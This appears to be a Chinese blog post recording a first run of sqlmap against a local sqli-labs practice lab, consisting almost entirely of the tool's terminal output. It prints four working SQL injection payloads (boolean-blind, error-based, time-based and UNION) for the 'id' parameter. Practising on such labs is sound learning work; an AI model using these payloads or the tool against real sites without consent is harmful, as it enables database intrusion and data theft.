sqlmap第一次使用

2022-08-25  本文已影响0人  与狼共舞666
[root@localhost sqlmap-dev]# python sqlmap.py -u "http://10.3.23.204/sqli-labs-master/Less-1/?id=1"
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.8.3#dev}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:54:51 /2022-08-24/

[19:54:51] [INFO] testing connection to the target URL
[19:54:51] [INFO] testing if the target URL content is stable
[19:54:52] [INFO] target URL content is stable
[19:54:52] [INFO] testing if GET parameter 'id' is dynamic
[19:54:52] [INFO] GET parameter 'id' appears to be dynamic
[19:54:52] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[19:54:52] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[19:54:52] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[19:55:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:55:32] [WARNING] reflective value(s) found and filtering out
[19:55:32] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")
[19:55:32] [INFO] testing 'Generic inline queries'
[19:55:32] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:55:32] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable 
[19:55:32] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:55:32] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)            
[19:55:42] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[19:55:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:55:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:55:42] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:55:42] [INFO] target URL appears to have 3 columns in query
[19:55:42] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 45 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6049=6049 AND 'veGq'='veGq

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: id=1' AND EXTRACTVALUE(4300,CONCAT(0x5c,0x7170766a71,(SELECT (ELT(4300=4300,1))),0x71706a6271)) AND 'bVud'='bVud

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 2473 FROM (SELECT(SLEEP(5)))TMjW) AND 'NowI'='NowI

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-7065' UNION ALL SELECT NULL,CONCAT(0x7170766a71,0x556a4e41444e6f6157796c4d724c5442416f744672614244626a4f4a4b5871504e734365616f5872,0x71706a6271),NULL-- -
---
[19:55:59] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.38
back-end DBMS: MySQL >= 5.1
[19:55:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.3.23.204'

[*] ending @ 19:55:59 /2022-08-24/
上一篇下一篇

猜你喜欢

热点阅读